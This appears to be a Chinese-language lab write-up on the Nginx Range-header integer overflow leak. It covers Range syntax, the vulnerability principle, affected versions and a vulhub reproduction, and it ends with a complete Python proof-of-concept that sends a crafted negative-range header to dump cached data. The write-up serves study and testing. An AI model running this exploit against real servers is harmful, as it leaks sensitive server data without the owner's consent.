注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关!!!
理论知识
range
The Range
是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range
首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content
状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable
状态码,表示客户端错误。服务器允许忽略 Range
首部,从而返回整个文件,状态码用 200 。
range格式:
Range: <unit>=<range-start>-
Range: <unit>=<range-start>-<range-end>
Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>
range事例:
Range: bytes=500-999 //表示第 500-999 字节范围的内容
Range: bytes=-500 // 表示最后 500 字节的内容
Range: bytes=500- //表示从第 500 字节开始到文件结束部分的内容
Range: bytes=500-600,601-999 //同时指定几个范围
漏洞原理
主要是因为在通过range读取缓存的时候,当我们构造了两个负值得位置,则我们可以读取到缓存文件中比敏感的服务器信息。
影响版本:Nginx 的 0.5.6 - 1.13.2版本
漏洞复现
一、vulhub搭建起靶场
二、vulhub中有自带的poc
三、直接python3 poc.py http://your-ip:8080
总结
这个漏洞主要会导致敏感信息泄露,说实话没看到有啥敏感的信息,明白了为啥说这个漏洞比较废。但是嘞我们还是应该重视起来。
POC
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)
参考文章: